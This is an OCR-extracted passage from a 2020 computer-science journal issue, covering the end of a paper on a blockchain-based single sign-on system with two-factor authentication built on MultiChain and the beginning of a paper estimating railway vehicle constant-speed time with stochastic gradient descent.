framework without applying to any specific scenario. An Ethereum-Based Cloud User Identity
Management Protocol has been developed by Wang et al. [17]. In this study, the web user must write
key data and encrypted hash values on the login screen, which is also followed in the study conducted
by Xiong et al [1]. Patel et al. also designed a decentralized web authentication system using Ethereum
based blockchain system prototype called DAuth [22]. In this study, users' private keys and smart
contracts were used to ensure security and confidentiality. This study also has limitations in terms of
usage for web users in daily life.

As mentioned in the introduction section, web users generally use many differnet applications today. It
may cause problems for users to use separate accounts for each application or to login via third-party
systems. To overcome this problem, researchers and companies have conducted studies involving
different SSO solutions. Within the scope of the proposed system, an effective SSO can be presented by
using the private blockchain created for the applications of an organization. A limited number of studies
on blockchain-based SSO were found when the literature was scanned [23], [24]. These are also
theoretical studies with suggestions.

3. Implementation of Proposed System

This section provides detailed information about the developed blockchain based SSO authentication
system for web applications. New and popular internet technologies such as blockchain, 2FA and SSO
have been used in this system. In the design phase of the proposed system, these technologies were
considered as modules and developed step by step. This progressive method has also been applied in
the processes of the system's implementation. Therefore, it will be more understandable to give detailed
information about the modules during the implementation stages. Information about these stages is given
below.

3.1 Installation of Private Blockchain

One authenticator server named SO and three web servers named S1, S2, S3 were used in the
experimental environment. These servers running Windows 10 as the operating system have Intel Xeon
2.00 GHz processor and 8 GB memory. Food Ordering System, Student Information System and Online
Petshop System were established on web servers. these applications were selected from the projects
offered by Itsourcecode as open source [25].

At first, as shown in Figure 1, a chain named projectl was created and published on the SO server. As
shown in the figure, the chain named projectl runs on port 2879 on server SO with ip address 10.0.0.12.

BN Administrator: Command Prompt - multichaind project] -deamon - O X

C:\multichain»multichaind projectl -deamon
MultiChain 2.8 beta 3 Daemon (Community Edition, latest protocol 28688)

Other node Cor i e using:
multichaine

Listening for API requests on port (local only - see rpcallowip setting)

Node ready.

Figurel Creating a chain with MultiChain
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In the structure of MultiChain, it is necessary to authorize other nodes to connect, read and write in the
chain. After the necessary permissions are granted in MultiChain and the firewall definitions are set for
the IP addresses and port numbers are defined, nodes can connect to the chain. Figure 2 shows the
connection status of the S1 server with the 10.0.0.35 ip address to the MultiChain created in SO server
with 10.0.0.12:2879 ip address and port. S2 and S3 servers are also connected in a similar way to the
projectl chain.

BX Administrator: Command Prompt - multichaind project1@10.0.0.12:2879 -deamon - O *

Listening for API requests on port

Node ready.

Figure 2 Connection the node to chain

The MultiChain Explorer application, which enables web-based browsing of blockchain activities, is
presented to the developers by MultiChain. MultiChain Explorer application was installed on the servers
and blockchain activities could be monitored instantly. Figure 3 shows a screenshot of the MultiChain
Explorer web page, which indicates that the three nodes are participating in the chain named projectl.
As seen in the figiire 3, the chain named projectl was started by the SO with the ip address 10.0.0.12
and port 2879. Then the nodes with the IP addresses 10.0.0.35 and 10.0.0.52 are connected to this chain.

[ <5 | E5 BlockChain Web Attack < + =~ - (] >

< (] fny T | localhost/multichain_BWaAD/?chain=default e 3= 7 1=
BlockChain Web Attack Detection (BWAD) —
Web_Project_1

Node Permissions Issue Asset | Update Send Create Offer | Accept Create Stream

Publish View Streams Filters: Transaction | Stream

My Node My Addresses
MName projectl Label Set label
Version 5 0betas Address :QQ?Tthfcaz‘;'F-_\. MzcfQriWSSTpTsmySb
skw2db
Protocol 20008 Permissions connect, send, receive, issue,
create, mine, admin, activate —
MNode address projectl@10.0.0.12:2879 change

Blocks 405
Get new address
Peers 2

Connected Nodes
Node IP address 10.0.0.35

Handshake address 15jgwWAAYAdtadaNjcaynit
NFRtqwZn3byqXhd

Latency 0.094 sec
Node IP address 10.0.0.52
Handshake address 1KSPbFqudz1a51Bal HzGq

XDnTqaxyVwTSiaNv

Latency 0.10% sec

Figure 3 Screenshot of the MultiChain Explorer application
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Thanks to the private blockchain established through MultiChain, a distributed data sharing environment

has been established for one authenticator server and three web servers. The block diagram of this
private blockchain is presented in Figure 4.

Sessions Users

Authentication _
Service

o]

Sessions.
Web Web Web
Aplication {mm Aplication == Aplication =
Wi w2 W3

Figure 4 Block diagram of the private chain

S1, S2 and S3 servers have W1, W2 and W3 web applications and N1, N2, N3 nodes. The SO server
has a NO node and authentication service.

3.2 Setting Up Data Streams, Permissions and Connections on Blockchain

In this system, json or text data is stored in different streams on the blockchain. It should be possible to
define which servers can access to this data with which permissions (read or write). The data stream
feature of the MultiChain is suitable for this purpose in terms of performance and data storage structure.
As seen in figure 4, there are two data streams called sessions and users in the node of the authentication
server SO. The web servers S1, S2 and S3 have only sessions data stream in their nodes. Username,
password, and public key data of users are stored in the data streamwhich is called users. Username,
generated encrypted value and time data of users who complete the authentication process are stored in
sessions data stream. With this structure, it is aimed that the users can authenticate only through the
authentication service in SO. Then, the data of the user whose authentication process is completed is
recorded in the data stream called session. For this, users data stream is only available on the NO node.
For session data stream, NO node is allowed to read and write while N1, N2 and N3 nodes are only
allowed to read. In previous sections, the use of central solutions such as Google and Facebook for
authentication has been noted to risk of single point of failure. In this system, SO_2 server, which is an
exact copy of SO server is created and included in the chain in order to avoid single point error. In this
way, the authentication service will be ready to be activated and a copy of the data streams will be
created.

The authenticator service in SO and W1, W2 and W3 web applications have been developed with PHP
programming language. These applications can access the nodes on their servers through the PHP APIs
provided by MultiChain. Through this API, applications can handle operations such as adding data to
the data stream, reading data from the data stream, creating a public address and accessing the private
key of a public address.
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3.3 Mobile Application

Due to the security vulnerabilities of the traditional authentication method with username and password,
amobile application has been developed to provide users with 2FA possibilities. This mobile application
has been developed with the Xamarin framework [26], which offers advanced features such as base
libraries and multi-platform application development. The purpose of this application is to ensure that
the user can safely store his private key and use it in the authentication process.

After the user logs in to the authentication service with the user name and password, he is be able to
define a public address and access the QR code containing this address and private key data generated
by the blockchain. The user is be able to match the public address and private key data to the mobile
application by scanning the QR code seen on the screen into the mobile application. The user may renew
his public address and private key data for reasons such as phone change or security concerns. To do so,
the user must click on the "Create new address" via the mobile app and delete the old key data and define
new the key and address data to the mobile application via the QR code generated by the authentication
service.

In order to provide 2FA, a randomly generated code is displayed on the screen to the web user who
entered his username and password correctly at the authentication stage. Then, the user is expected to
encrypt this code with the private key via the mobile application and send it to the authentication service.
If the encrypted data sent and the data created in the service match, the user is allowed to login the
system. Figure 5a shows a screenshot of mainpage of mobile application. Figure 5b and 5c¢ show
screenshots of the mobile application for matching address and private key information. Figure 5d shows
the use of the mobile application in 2FA.

13071 Qo 1

Blockchain Based 2FA

SEMD CODE

Guccessful, ez Check the Logn Modiile

oL oam T Scanned Public Adress and Private

Huey
1%apga7 NoaxrsADUN1 DzgBNT hENF 2y
a¥2MFXe-vESe5cSE pgZub FrdRueB4YT
GEAEWBrI YW FCEXkRIZLFBAgOKSZn
¢

SCAN OR CODE

B

SEMD CODE

(a) (b) (c) (d)

Figure 5 Screenshots of mobile application

3.4 Identity Authentication

The login module has been developed to provide users with ease of SSO and security through 2FA. Web
users use this login module and mobile application together for identity authentication. The screenshots
of the login module are given in Figure 6.
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Passwond Dasswond
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et Application 1
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Figure 6 Screenshots of login module

This section provides information about a blockchain-based identity authentication that includes 2FA
and SSO technologies. While developing this system, the data streams defined in blockchain, APIs of
the MultiChain, login module and the mobile application developed were used. Figure 7 shows the
general structure of the proposed system.

Login Module
Users
Authentication Service
Username-pass-adrass
(r \\ Username-pazs-adress
pE—
v — 2 wemamepassuoro—> ,
i s ¥,
ign in / |
N L — stepl Sessions
3. random code P =

AdressEncript date-date

AdressEncript data-date
AdressEncript date-date
AdressEncript date-date
AdressEncript das-date

‘//
/
| /ﬁ/

gl
4. encrypted co de+a:ﬂrfe;.—

\
1 [s0] o]
~

\
,) 6. encrypted code+address I

Sessions

Web
Aplication

Figure 7 Blockchain-based identity authentication
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The steps to be followed for identity authentication are given in Figure 7. Information about these
steps is given below.

1)

2)

3)

4)

5)

6)

7)

Login with username and password: In this step, the user enters the username and password
in the login module as shown in figure 6a. At this stage, users' information is manually added
to web applications and then transferred to the blockchain.

Sending username and password to the authentication service: User-entered data is sent
by the login module to the authentication service, which is also available on the SO.

Validation by authentication service: User-entered data is sent by the login module to the
authentication service. The authentication service accesses the data stream called users
through the MultiChain API and verifies the received username and password. If the result is
correct, a 6-digit random code is returned to the login module.

Sending back encrypted code: The code sent by the service is shown to the user in the login
module as shown in figure 6b. In this step, the user is expected to encrypt the code via the mobile
application and return this encrypted data and public address to the authentication service. The
entered code is encrypted with the “crypt” function of the PHP programming language.
Meanwhile, to make encryption more complex, the user's private key previously paired in the
mobile application is used as salt value. Within the scope of the authentication service, a web
service is created that receives encrypted data and public address from mobile applications and
returns true / false value as a result. SOAP (Simple Object Access Protocol) is used for data
exchange between mobile application and authentication service. All requests to the
authentication service are provided with SSL connection. Figure 5b and figure 5¢ show a
screenshot of the mobile application to be used in this step.

Verification of encrypted code: In this step, the data encrypted with the user's private key is
verified. A user who has logged into the system can create a public address for himself. This
address created on blockchain also contains a private key. This private key and public address
are shown to the user via QR code at the time of creation. After that, the address is mapped to
the relevant user and used transparently in the blockchain network for many transactions. Public
addresses and private keys are created on SO server and this data is not shared with other nodes.
This ensures that only the user and NO node can access the private key.

Encrypted data and public address is expected from the previous step. The authentication service
can access the private key of this address via NO. The random code determined in the third step
is encrypted with this private key and then this encrypted data is compared with the encrypted
data sent by the mobile application. If these two data are the same, it is understood that the user
sends the code correctly via the mobile application. Then, the user's public address, encrypted
data and verification time are recorded in the data stream called sessions. Finally, encrypted
data and public address are sent in response to the login module and mobile application.

Redirection to web applications: After receiving the positive result of 2FA from the
authentication service, the user is notified via the login module as shown in figure 6¢. At the
bottom of the same screen, there are also links to web applications that are participating on the
private network. Users will be able to access web applications thanks to these links containing
encrypted data and public address received from the previous stage.

Accessing web applications: Encrypted data and public address are required to login to web
applications. Web applications verify incoming encrypted data by accessing the data stream
called sessions, which they have read permission in the blockchain. For this validation, a
transaction is searched that matches the encrypted data in sessions stream. If a transaction is
found and the time of the transaction is not older than 5 minutes (this value can be changed),
the user of the public address in the relevant transaction can access the web application. Thus,
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a user who login via the login module can access the web applications without having to login
again and benefit from the ease of SSO.

The user who successfully completed the authentication steps can access the web applications in the
chain.  Figure 8 shows a  screenshot of the user with the  address
“19appx7NoaxrsADUN1DzgBN3hBNF2muaY2MFXs” to access the food ordering system after
authentication. This user is also be able to access other web applications in the private blockchain
network without login again.

Food Ordering System Menu Order Sales Maintenace « User Address:19appx7NoaxrsADuN1DzgBN3hBNFZmuaY2MFXs

MENU

BREAKFAST LUNCH DINNER BEVERAGES

Pancake Tacos with Cheese and Egg Baked In Tomatoes Eggs in a Basket Full English Breakfast

Rs 400.00 Rs 310.00 Rs 375.00 Rs £00.00

Thanks to Neovic | Brought To You By code-projects.org

Figure 8 Food ordering system

The web server hosting the food ordering system shown in Figure 8 is included in the private blockchain
and read permission is given for session data stream. Thus, the encrypted code and public address
transmitted to this application can be verified according to session data stream. When this verification
is provided, the user associated with the public address is enabled to use the application.

4, Conclusions

In this paper, a blockchain-based SSO authentication system is designed and implemented for web
applications. Detailed information about new and popular technologies such as blockchain, SSO, 2FA
and identity authentication is provided. Technical information including screenshots of the combination
of these technologies are given as well. There are many studies in the literature that offer identity
authentication solutions with blockchain technology on IOT devices. But there are a limited number of
theoretical applications for web applications. This study will be a pioneer for future studies and resolve
the gap in this field. Thanks to the developed system, it is observed that SSO facilities can be offered in
the private blockchain network for companies and institutions providing many web services. Recently,
the 2FA method has been used through third-party applications like Google Authenticator and LastPass
has been integrated with public addresses and private keys defined on the blockchain. For this
integration, a mobile application has been developed that can securely store private key data. There is
not such a study on this new method applied in the literature. In the future, it is aimed to work on the
usage of a similar system in everyday life and monitoring its performance. In this study, MultiChain is
used as the blockchain application. It will be useful to evaluate performance and effectiveness as a result
of using other blockchain applications for similar purposes.

352



Sakarya University Journal of Computer and Information Sciences

Mustafa Tanriverdi

References

[1]

[2]

3]

[4]

[5]

[6]

[7]

(8]

9]

[10]

[11]

[12]

[13]

L. Xiong, F. Li, S. Zeng, T. Peng, and Z. Liu, “A Blockchain-Based Privacy- Awareness
Authentication Scheme with E_cient Revocation for Multi-Server Architectures,” IEEE Access,
vol. 7, pp. 125840-125853, 2019.

Y. Ezawa et al., “Designing Authentication and Authorization System with Blockchain," in 2019
14th Asia Joint Conference on Information Security (AsiaJCIS), pp. 111{118,2019.

W. Ao, S. Fu, C. Zhang, Y. Huang, and F. Xia, “A Secure ldentity Authentication Scheme Based
on Blockchain and Identity-based Cryptography," in 2019 IEEE 2™ International Conference on
Computer and Communication Engineering Technology (CCET), pp. 90{95, 2019.

MultiChain | Open source  blockchain  platform."” [Online].  Awvailable:
https://www.multichain.com/ . [Accessed: 15-Jan-2019].

K. Sultan, U. Ruhi, and R. Lakhani, “Conceptualizing Blockchains: Characteristics and
Applications,™" in 11th IADIS International Conference on Information Systems, pp. 49{57, 2018.

Blockchain Distributed Ledger Market Size by Type, End-User,” Allied Market Research
Report, 2017. [Online]. Available: https://www.alliedmarketresearch.com/blockchain-
distributed-ledger-market. [Accessed: 14-Nov-2018].

S. Nakamoto, \Bitcoin: A Peer-to-Peer Electronic Cash System." [Online]. Available:
http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.221.9986. [Accessed: 08-Nov-2018].

A. Reyna, C. Martin, J. Chen, E. Soler, and M. Diaz, “On blockchain and its integration with
I0T. Challenges and opportunities,” Future Generation Computer Systems, vol. 88, pp. 173-190,
2018.

M. Tanriverdi and A. Tekerek, “Implementation of Blockchain Based Distributed Web Attack
Detection Application,” in 1st International Informatics and Software Engineering Conference:
Innovative Technologies for Digital Transformation, IISEC 2019 - Proceedings, 2019.

J. L. Zhao, S. Fan, and J. Yan, “Overview of business innovations and research opportunities in
blockchain and introduction to the special issue,” Financial Innovation, vol. 2, no. 1-28, 2016.

V. Gatteschi, F. Lamberti, C. Demartini, C. Pranteda, and V. Santamaria, “To Blockchain or Not
to Blockchain: That Is the Question,” IT Prof., vol. 20, no. 2, pp. 62-74, Mar. 2018.

MultiChain data streams | MultiChain." [Online]. Available:
https://www.multichain.com/developers/data-streams/. [Accessed: 10-Mar-2020].

J. Zhang, X. Tan, X. Wang, A. Yan, and Z. Qin, “T2FA: Transparent Two-Factor
Authentication," IEEE Access, vol. 6, pp. 32677-32686, Jun. 2018.

353



[14]

[15]

[16]

[17]

[18]

[19]

[20]

[21]

[22]

[23]

[24]

[25]

[26]

Sakarya University Journal of Computer and Information Sciences

Mustafa Tanriverdi

B. S. Archana, A. Chandrashekar, A. G. Bangi, B. M. Sanjana, and S. Akram, “Survey on usable
and secure two-factor authentication," in RTEICT 2017 - 2nd IEEE International Conference on
Recent Trends in Electronics, Information and Communication Technology, Proceedings, vol.
2018-January, pp. 842-846, 2017.

Google 2FA." [Online]. Available: https://www.google.com/landing/2step/. [Accessed: 05-Mar-
2020].

LastPass - LastPass Authenticator.” [Online]. Available:https://lastpass.com/auth/. [Accessed:
05-Mar-2020].

S. Wang, R. Pei, and Y. Zhang, “EIDM: A Ethereum-Based Cloud User Identity Management
Protocol,” IEEE Access, vol. 7, pp. 115281-115291, Aug. 2019.

W. Jiang, H. Li, G. Xu, M. Wen, G. Dong, and X. Lin, “PTAS: Privacy- preserving Thin-client
Authentication Scheme in blockchain-based PKI," Future Generation Computer Systems, vol.
96, pp. 185-195, Jul. 2019.

C. Fromknecht and S. Yakoubov, “CertCoin: A NameCoin Based Decentralized Authentication
System 6.857 Class Project," 2014.

L. Axon and M. Goldsmith, “PB-PKI: A privacy-aware blockchain-based PKI," in ICETE 2017
- Proceedings of the 14th International Joint Conference on e-Business and
Telecommunications, vol. 4, pp. 311-318, 2017.

U. Khalid, M. Asim, T. Baker, P. C. K. Hung, M. A. Tariq, and L. Ra_erty, “A decentralized
lightweight blockchain-based authentication mechanism for 10T systems," Cluster Computing,
pp. 1-21, Feb. 2020.

S. Patel, A. Sahoo, B. K. Mohanta, S. S. Panda, and D. Jena, “DAuth:A Decentralized Web
Authentication System using Ethereum based Blockchain,” in Proceedings - International
Conference on Vision Towards Emerging Trends in Communication and Networking, ViTECoN
2019, 20109.

A. Bakre and N. Patil, “Implementing Decentralized Digital Identity using Blockchain,"
International Journal of Engineering Technology Science and Research, vol. 4, pp. 379-385,
2017.

H. Arslan and H. Aslan, “Blockchain based single sign-on support for 10T environments,” in
27th Signal Processing and Communications Applications Conference, SIU2019, 2019.

Best PHP Projects With Source Code Free Download [ 2020 ] Ideas,Video." [Online]. Available:
https://itsourcecode.com/free-projects/php-project/php-projects-source-code-free-downloads/.
[Accessed: 30-Mar-2020].

Xamarin | Open-source mobile app platform for .NET." [Online].Available
https://dotnet.microsoft.com/apps/xamarin. [Accessed: 01-Apr-2020].

354



SAKARYA UNIVERSITY JOURNAL OF COMPUTER AND INFORMATION SCIENCES
VOL. 3, NO. 3, DECEMBER 2020
DOI: 10.35377/saucis.03.03.805598

SAUCIS

Estimation of Constant Speed Time for Railway Vehicles by Stochastic
Gradient Descent Algorithm

Mehmet Taciddin Akgay*
!Istanbul Metropolitian Municipality, Directorate of Rail Systems, Istanbul, Turkey,
taciddin.akcay@ibb.gov.tr

Received 5 October 2020; Accepted 17 December 2020; Published online 30 December 2020

Abstract

While the investments in rail transportation systems continue without slowing down, various optimization issues
come to the fore in order for the systems to work more efficiently. One of the most important of these issues is the
optimization of the vehicle speed profile. Improvement in vehicle speed profile increases efficiency in operating
traffic. Vehicle speed profile varies depending on the electrical-characteristic features of the vehicle, the distance
between the stations and the line geometry. The vehicle's speed profile consists of several parts, such as
acceleration, constant speed travel and braking zones. The constant speed in the constant velocity zone refers to
the max operating speed, which is recommended for operation in the restricted area and remains within the limits.
This part is critical in creating the speed profile of the vehicle. In this study, the estimation of the value of the
constant speed time in the speed profile of the vehicles used in the city metro systems was made by using the
Stochastic Gradient Descent method, which is one of the machine learning methods, and compared with various
well-known methods. Coefficient of determination (R?) values were calculated as 0.9955 and 0.9951, respectively,
with random sampling hold out and cross validation methods.

Keywords: Constant, railway, speed, stochastic, vehicle.

1. Introduction

Today, optimization issues for all subsystems are specifically addressed to use systems more effectively
and efficiently. Rail transportation systems contain many systems. Since electrification systems form
the main body in electric rail transportation systems, increasing the efficiency of this part is of great
importance for the entire system. The energy consumption of the draw frame system in the electrification
system corresponds to 50% of the total consumption. In the traction power system, the energy
consumption of the rail system vehicle is the main element. The energy consumption of the vehicle
varies depending on the traction power force that forms the vehicle's electrical power consumption
curve. Figure 1 shows the variation of the traction power force of a rail vehicle based on the vehicle
speed. The change of a 5 MVA rail system vehicle with a maximum speed of 140 km / h is expressed.
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Figure 1 Traction power force- speed Graphic [Skoda]
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The red curve indicates the traction force it applies while accelerating the vehicle in the event of
overload, while the black curve indicates the traction force in the acceleration conditions of the nominal
condition. The blue curve shows the traction force of the vehicle in braking situation. With burgundy
and green curves, the change of characteristic motion resistances of the vehicle corresponding to the
slots of 2.7% and 1% is expressed. There are three different driving situations in vehicles such as
acceleration, constant speed driving and braking. While defining the vehicle driving curve that will take
place between the access points to the signaling system, the details of these driving modes are given. As
seen in Figure 1, the point where the traction force is minimum is the constant speed point when the
vehicle reaches the maximum speed in the driving modes before the vehicle is in braking state.
Therefore, constant speed time in the vehicle's driving curve is critical when creating the driving mode.
Figure 2 shows the region of the constant speed time in the vehicle's driving modes.
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Figure 2 Graphic of vehicles driving modes

With this graphic, the speed profiles of the vehicles with different driving curves are given, and the
maximum speed that each vehicle reaches, the constant speed traveled, and the acceleration applied
while accelerating and decelerating vary. When searching the source, it is determined that there are
many works on vehicle speed estimation. There are also sources where different machine learning
algorithms are used and recommended. In the study [1], obtaining vehicle speeds with a simulator
designed by using algorithms produced for rail system vehicle movements is explained. In [2], the
subject of the measurement of the speed of the railroad vehicle and the regression models and the
estimated time of arrival were investigated. In [3], the vehicle control model is proposed with the
prediction of train movements and speed. With [4], the subject of calculating the movement resistance
with the vehicle data collection mechanism has been examined. In [5], the help of dynamic time warping
algorithms, the estimation of rail system vehicle speeds was investigated. In [6], with the proposed new
method called ETL (EBER Track Lab), the subject of predicting the critical speed on the soft ground
railway line was studied. Vehicle movements are simulated with the element increment method in [7].
In [8], the prediction of train motion resistance with the measurements in the on-board telemetric unit
in the vehicles was investigated. With [9] the development of a prediction-controlled train business with
simulation was studied. Control is provided via fixed and moving block. In [10], the subject of real-time
arrival estimation for light rail systems was investigated. In the study [11], the accuracy of the traffic
speed prediction was increased by using a new model named LC-RNN. In [12], speed estimation models
of mixed traffic conditions in urban arteries were investigated. With [13] the equipment placed in
commercial vehicles, cruise speed estimation was carried out by data collection method from mobile
locations. In the article [14], vehicle speed estimation models are investigated within the road design
depending on the energy demand. [15], the average speed estimation of the vehicle was investigated on
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a two-lane highway depending on weather and traffic characteristics. In [16], the subject of cruise speed
estimation was examined using machine learning methods. Estimation methods of vehicle speed and
driving modes have important advantages for the business. Real-time forecasts reduce navigational and
operational uncertainties [17]. Determining the speed of the railway vehicle is also critical for railway
operators and researchers working in the field of noise and vibration [18]. Vehicle driving modes affect
the vehicle speed profile, and an optimization provided in this section reduces energy consumption and
improves driving behavior. The constant speed time, which often takes place at maximum speed, is
critical in achieving the best driving profile between the two access points. The efficiency to be achieved
in the driving profile is of great importance for the benefit to be provided in the overall performance of
the signaling system and the system. The fact that the maximum speed time can be predicted depending
on the operation variables also increases the success of the operation traffic in the fleet management. In
this study, which was accompanied by this information, estimation of the constant speed value between
stations of the urban metro systems was made using the Stochastic Gradient Descent method, which is
one of the machine learning methods.

2. Material and Method

2.1 Simulation Model and Experimental Study

With the test setup created in this study, 480 data sets with different operating conditions were obtained.
Running resistance, Properties of Line Geometry, Traction force, Maximum Speed, Weight of the
vehicle and Two Station Distance data are the entries of the system while the maximum constant speed
time at the output is recorded. It is given by the equation (1) of the traction force applied by the vehicle
while driving. This equation statement is the most basic formula used for the movement of the vehicle
in the literature.

Ftraction = Fmotion + Fslope + Fcurve +ma (1)

When Fraciion indicates the traction power force, acceleration is expressed by a. Fmotion, Fsiope, Feurve are
the forces acting on the vehicle during the travel, and Fmotion refers to the force generated against the
movement of the vehicle. Fsope and Feurve, 0N the other hand, are related to line geometry and are forces
that occur depending on slope and curve conditions. The weight of the vehicle is shown in m. For the
experimental setup, the system was operated by simulating the course of the vehicle for each operating
situation. Figure 3 shows the screenshot of the experimental setup.

— :
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total force
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L line input I:I
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flu) b i D

Figure 3 Experimental Study

Figure 4 shows the distributions of the data used. The success of the forecast results increases in
proportion to the success of the data sets used here. Input 1 access distance, Input 2 Train resistance,
Input 3 vertical resistance, input 4 lateral resistance, input 5 vehicle traction force, input 6 maximum
speed, input 7 weight and output is constant speed time. Depending on the traction power line
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characteristics, the speed profile is achieved while accelerating the vehicle and the desired speed profile
is captured. Speed is obtained as the output value in the rate of sensitivity entered. While the line features
consist of line geometries such as slope and curve, the train resistance indicates a characteristic value
related to the production of the vehicle. Although the vehicle weight is a value that varies according to
the occupancy rate, mostly AW3 (6 passengers per square meter) value is used in the calculations. While
the commercial speed value of the vehicle changes between 30-50 km / h in the urban metro stations,
the maximum speed value reached by the vehicle in operation can be much higher than this value.
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Figure 4 Distribution of input and output parameters

In order to obtain the essential sensitivity for the simulation, the sampling time was chosen at the
appropriate value by considering the simulation speed. Machine learning methods are suitable for this
analysis due to the variety of parameters depending on the operational conditions.

2.2 Stochastic Gradient Descent

Stochastic gradient descent (SGD) is a gradient descent optimization strategy used to minimize certain
kinds of objective functions that arise in big data machine learning problems like building recommender
systems [19]. SGD is the most popular family of optimisation algorithms used in machine learning on
big data sets because of its ability to optimise efficiently with respect to the number of complete training
set data epochs used [20]. SGD includes a parameter called the learning rate to define the length of the
next step to take when moving forward in the direction of the gradient [20]. Choosing a accurate learning
rate is a research field in itself and several contributions exist in this context [20]. Although some
properties of SGD approaches might prevent their successful application to some optimization domains,
they are well established in the machine learning community [21]. The application of SGD method is
given by algorithm 1 [21]. Here are examples X = {x0,. . . , xm} expresses iterations T, step interval ,
and state variable w.
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Algorithm 1 The Stochastic Gradient Descent Algorithm

Step 1 Givene >0

Step 2 Fort=0,...,T:

Step 3 Evaluate j € {1...m}, randomly
Step 4 Update: wryy < wr — €0,%;(wr)
Step 5 Return output wy

The SGD algorithm operates in rounds; in each round, it traverses all edges in some order and updates
labels at the end-points of each edge using a computation. The convergence factor in the SGD is
investigated with the theories of convex minimization and of stochastic approximation. A very small
learning rate cause with a slow convergence, however a large learning rate may affect convergence
negatively and give rise to the loss function to fluctuate around the minimum value or may diverge [20].
Whether the small termination features of algorithms have a big practical effect convergence speed is
an critical factor in large scale machine learning applications [21].

2.3. Performance Calculations

The success of the model proposed in the study was demonstrated by performance measurements. Mean
Squared Error (MSE), Mean Absolute Error (MAE), Root Mean Square Error (RMSE) and Correlation
Coefficient (R?) measurements were used for performance calculations. The formulas of the relevant
measurements are shown in Table 1.

Table 1 Performance Measures

a a
1 1
MSE —Z(ki —my)? RMSE —Z(ki —my)?
= =
1 - ?:1(](1 - mi)2
MAE —Zlki—mil R? - .
a i=1 L=1(ki - mavg)

In formulas, k; and m; are the estimated output values for the i" desired result, respectively. The average
of the desired output is shown in m,,,;. The number of samples in the data series is indicated by a. These
calculations were used as a reference when making comparisons about the results obtained.

3. Results and Discussion

In this research, the model designed with the proposed estimation method with 7 inputs and 1 output
was applied to the data obtained as a result of the rail system test studies using the Orange machine
learning program. Decision Trees, Adaboost, Neural Network (NN), SVM, kNN, Random Forest (RF)
and Stochastic Gradient Descent methods, which are widely used in the literature, are studied. In this
study, stochastic gradient descent method is especially recommended due to the success obtained. Figure
5 shows the designed architecture of the system.

m

Figure 5 Architecture of the system
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The results are given by examining the designed model with cross validation and random sampling hold
out methods separately. While the data was divided into 10 groups with the cross validation method,
70% of the data was used in education in the random sampling hold out method. The remaining 30%
was used for testing. In the cross validation method, the training / test ratio was repeated for each cycle
with a 9: 1 ratio.
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rhax constant speed
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100 - 125

o 20 40 80 80 100 120 0 20 40 B0 80 100 120
SGD 360

(a) Cross validation (b) Random sampling
Figure 6 SGD Regression Graphs

The results obtained for different methods are given in Table 2. The SGD method proposed in this study
and the most successful results are obtained, and the performance values of AdaBoost, Random Forest,
Neural Network, KNN, Decision Trees and SVM methods, which are frequently used in the literature,
can be seen in these tables, respectively.

Table 2 Comparison of the Estimated Performance of the Methods Used

Cross Validation

Method MSE RMSE MAE R?

Stochastic 6.8174458902 2.6110239160 1.7105567557 0.9955774039
Gradient Descent

AdaBoost 9.9926887499 3.1611214386 2.1115000000 0.9935175685
Random Forest 9.6631255899 3.1085568339 2.1420637041 0.9937313618
Neural Network 20.488570730 4.5264302414 3.3677543843 0.9867087067
kNN 161.69644876 12.715991851 9.6273916666 0.8951046932
Tree 15.085633926 3.8840229049 2.7802256944 0.9902136861
SVM 184.92898709 13.598859771 11.543075796 0.8800333404

Random Sampling

Stochastic 7.6042002437 2.7575714394 1.7628956167 0.9951452581
Gradient Descent

AdaBoost 11.173792499 3.3427223187 2.2163472222 0.9928663270
Random Forest 11.871545564 3.4455109293 2.3395522473 0.9924208612
Neural Network 40.502361962 6.3641466013 4.9793130202 0.9741421183
kNN 204.00158543 14.282912358 11.174386111 0.8697594758
Tree 18.001537177 4.2428218413 3.0273217592 0.9885072969
SVM 230.87452593 15.194555799 12.781131179 0.8526030118

When Cross Validation and Random sampling methods are examined separately, it is seen that the best
success is achieved with the proposed method Stochastic Gradient Descent method. The success order
in cross validation method is Random Forest, AdaBoost, Decision Trees, Neural Network, kNN, and
SVM. When calculations are made with random sampling, the best methods are AdaBoost, Random
Forest, Decision Trees, Neural Network, KNN, and SVM, respectively. Figure 7 and Figure 8 show error
graphs of the estimates obtained by SGD cross Validation and SGD Random Sampling methods.
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In the Random Sampling method, 144 data corresponding to 30% of the total data were used for the test.
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The amount of error in the cross validation method deviated more than the Random sampling method.
In Figure 9, the regression graphs, which compare the estimates produced using the SGD Cross
Validation method and other methods, were created for each method, respectively. While the horizontal
axis consists of SGD results, the vertical axis is formed from the results of other methods.
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Figure 9 SGD/Cross Validation Regression Graphs with Other Methods (Continued)

As seen in the graphs given in Figure 9, the regression value of AdaBoost, Random Forest and SVM
methods is 1, while this value is 0.99 in Neural Network and Decision Trees. In the KNN method, the
regression value is 0.95. In Figure 10, this situation was applied for SGD Random Sampling method
and similar graphics were produced.
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Figure 10 SGD/Random Sampling Regression Graphs with Other Methods

Looking at the graphs in Figure 10, the success rate of 0.99 and above is achieved in all methods except
KNN, while the regression value of KNN results is 0.95. In the graph indicated by (d) in Figure 10, this
is understood by the deviation of the data by more than the 45 degree curve. When the values given in
Table 2 are examined, MSE value is 6.82, RMSE value is 2.61, MAE value is 1.71 and R2 value is
0.9955 with SGD Cross Validation method. In Random Sampling method, MSE value is 7.6, RMSE
value is 2.76, MAE value is 1.76, R2 value is 0.9951. With the algorithm produced in [1], the arrival
time of the trains was estimated with an average difference of 0.16%. In [2], 90% success was achieved
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in the results obtained by the kinematic method used for estimation. Success was achieved with a delay
of 12.3 seconds with the prediction-based control method proposed in the study with [3]. In [4], there
was a 0.1% difference between the values measured by the train motion resistance obtained using the
data provided by the test method. In study [6], it was explained that the critical speed was estimated
with a difference of 15 km / h (250-235). In the study with [7], simulation of the train movement was
provided by optimizing the vehicle driving curve. In the study [8], the train movement resistance was
estimated between 1.1% and 12.1%, depending on the vehicle speed. With [9], a simulation of 2 to 5
seconds has been achieved for the frequency of vehicle voyages in the prediction controlled train
operation. In study [10], it was stated that the difference between the results obtained by the AVLS
(Automatic Vehicle Location System) and the VBA (Visual Basic for Applications) methods did not
exceed 25 seconds.

4. Conclusion

Constant speed time is critical for the efficiency of the rail system signaling system and effective
management in operating traffic. Due to the many dynamic elements it contains within the rail system
operation, the system reacts rapidly to changing conditions and activation of the system as desired makes
a great contribution to the system. With this study, the constant speed time between the access points in
rail systems has been estimated by machine learning methods. At the end of this study, the constant
